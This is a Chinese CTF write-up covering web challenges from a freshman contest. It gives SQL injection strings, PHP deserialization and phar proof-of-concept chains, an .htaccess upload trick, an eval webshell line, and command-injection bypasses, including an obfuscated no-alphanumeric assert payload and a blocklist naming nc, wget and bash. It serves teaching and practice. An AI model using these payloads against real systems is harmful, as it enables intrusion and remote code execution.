Skip to main content

nssctf-SWPU新生赛web部分

和群里一师傅交流的时候,就好奇问了一句是哪的题

但是一开始做错赛场了,跑人家校内赛场打了hh,还收到招新邮件,虽然也礼貌回信解释了 但还是给人家的招新添加了麻烦,下次要注意

新手向,由易到难,有些题目也很有意思

本来没想着写wp的,后面想想怕忘了一些知识点还是写一下

简单分了一下类

basic

gift_F12

f12

jicao

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

考传参,get、post,还有json

Do_you_know_http

这题我很像吐槽--,先是在hello.php判断user-agent,然后他会跳转到a.php判断xff,如果没注意看url就会整不出。。

easy_md5

<?php 
highlight_file(__FILE__);
include 'flag2.php';

if (isset($_GET['name']) && isset($_POST['password'])){
$name = $_GET['name'];
$password = $_POST['password'];
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
else {
echo "wrong!";
}

}
else {
echo 'wrong!';
}
?>

数组绕就行

伪协议

include

<?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
show_source(__FILE__);
echo 'flag 在flag.php中';
}else{
echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?> flag 在flag.php中

伪协议读一下

?file=php://filter/convert.base64-encode/resource=flag.php

PseudoProtocols

伪协议读hint.php

<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>

data伪协议绕过file_get_content

/test2222222222222.php?a=data://text/plain,I want flag

sql

easy_sql

-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name="test_tb" %23
-1'union select 1,2,flag from test_tb %23

error

还是sql注入,报错注入

<!--SELECT * FROM users WHERE id='$id' LIMIT 0,1-->
1' and (select updatexml(1,concat(0x7e,(select database()),0x7e),1))--+
1' and (select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1))--+
1' and (select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="test_tb"),0x7e),1))--+
正常读只能出一半,加个substr

1' and (select updatexml(1,concat(0x7e,(select substr(flag,1,20) from test_tb),0x7e),1))--+

1' and (select updatexml(1,concat(0x7e,(select substr(flag,20,40) from test_tb),0x7e),1))--+

sql

过滤了空格,用/**/绕过

-1'union/**/select/**/1,2,database()%23

过滤了or,information用不了,改用InnoDB

过滤了=,改用like

-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/like/**/database()%23

得到表名LTLT_flag

然后无列名注入

-1'union/**/select/**/1,2,group_concat(`2`)/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/LTLT_flag)x%23

substr被ban了,用mid

-1'union/**/select/**/1,2,group_concat(mid(`2`,20,40))/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/LTLT_flag)x%23

反序列化

ez_unserialize

f12给了robots.txt的内容格式

查看robots.txt得到关键文件cl45s.php

# cl45s.php
<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}

$p = $_GET['p'];
unserialize($p);

?>

poc

<?php

class wllm{

public $admin="admin";
public $passwd="ctf";
}

$a = new wllm();
echo serialize($a);

#
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

no_wakeup

<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __wakeup(){
$this->passwd = sha1($this->passwd);
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

绕过__wakeup

<?php

class HaHaHa{
public $admin = "admin";
public $passwd = "wllm";
}

$a = new HaHaHa();
echo serialize($a);

把属性数目改一下

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

pop

<?php

error_reporting(0);
show_source("index.php");

class w44m{

private $admin = 'aaa';
protected $passwd = '123456';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

简单的pop链

w22m _destruct =》w33m _toString =》w44m Getflag

poc:

<?php

class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}

class w22m{
public $w00m;
public function __construct(){
$this->w00m = new w33m();
}
}

class w33m{
public $w00m;
public $w22m;
public function __construct(){
$this->w00m = new w44m();
$this->w22m = "Getflag";
}
}


$a = new w22m();
echo urlencode(serialize($a));

private属性存在不可见字符,urlencode一下传入即可,浏览器会自己urldecode

babyunser

phar反序列化

在read.php可以读源码

# upload.php

<?php
if(isset($_POST['submit'])){
$upload_path="upload/".md5(time()).".txt";
$temp_file = $_FILES['upload_file']['tmp_name'];
if (move_uploaded_file($temp_file, $upload_path)) {
echo "文件路径:".$upload_path;
} else {
$msg = '上传失败';
}
}

# read.php
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>
<br>
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>
# class.php
<?php
class aa{
public $name;

public function __construct(){
$this->name='aa';
}

public function __destruct(){
$this->name=strtolower($this->name);
}
}

class ff{
private $content;
public $func;

public function __construct(){
$this->content="\<?php @eval(\$_POST[1]);?>";
}

public function __get($key){
$this->$key->{$this->func}($_POST['cmd']);
}
}

class zz{
public $filename;
public $content='surprise';

public function __construct($filename){
$this->filename=$filename;
}

public function filter(){
if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
die('这不合理');
}
}

public function write($var){
$filename=$this->filename;
$lt=$this->filename->$var;
//此功能废弃,不想写了
}

public function getFile(){
$this->filter();
$contents=file_get_contents($this->filename);
if(!empty($contents)){
return $contents;
}else{
die("404 not found");
}
}

public function __toString(){
$this->{$_POST['method']}($_POST['var']);
return $this->content;
}
}

class xx{
public $name;
public $arg;

public function __construct(){
$this->name='eval';
$this->arg='phpinfo();';
}

public function __call($name,$arg){
$name($arg[0]);
}
}

poc

利用 phar 拓展 php 反序列化漏洞攻击面 (seebug.org)

<?php
class aa{
public $name;
function __construct(){
$this->name = new zz();
}
}

class ff{
private $content;
public $func = "assert";
function __construct(){
$this->content = new xx();
}
}

class zz{
public $filename;
public $content='surprise';
function __construct(){
$this->filename = new ff();
}

}

class xx{
public $name;
public $arg;
}

$a = new aa();
echo urlencode(serialize($a));

# 下面这部分就没改
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

把生成的phar文件上传上去

再到read.php利用file_get_content+phar://触发反序列化

upload

easyupload1.0

检查Content-Type,bp抓包改一下即可

这个是假的,真的flag在phpinfo--

easyupload2.0

在1.0基础上,文件名过滤了php

改用phtml

easyupload3.0

配合.htaccess

<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>

再传个名为shell的马就行,

文件格式无所谓,因为都会被当成php解析

rce

caidao

@eval($_POST['wllm']);

easyrce

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?>

本来以为会ban掉一些函数,看了一下phpinfo发现没有

直接?url=system("cat /flllllaaaaaaggggggg");

babyrce

<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1)
{
include "../next.php";
}
else
echo "小饼干最好吃啦!";
?> 小饼干最好吃啦!

cookie传值admin=1,得到关键文件rasalghul.php,访问之

# rasalghul.php
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
$a = shell_exec($ip);
echo $a;
}
?>

过滤了空格,用%09(tab)

url=cat%09/flllllaaaaaaggggggg

finalrce

<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}

过滤了很多,这题比较有意思

单引号绕过关键词过滤,用|tee把命令执行结果传入txt文件里,再访问查看

cat flag的时候发现不行,原来是过滤了la 用占位符?来替代一位即可

payload:

?url=l''s / | tee a.txt

?url=ca''t /flllll?aaaaaggggggg | tee a.txt

hardrce

<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?>

无字母数字rce,可以用yu师傅的脚本直接生成payload--

无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_羽的博客-CSDN博客

这里用取反

<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

hardrce_3

<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\^','\~','\|'];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");
}}
if(preg_match('/[a-zA-Z0-9]/is',$wllm))
{
die("Ra'sAlGhul说用字母数字是没有灵魂的!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?>

无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_羽的博客-CSDN博客

自增:

//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入 _=phpinfo();

但是ban了很多函数

可以伪协议读文件,但不知道咋看文件内容--

直接哥斯拉连一下就行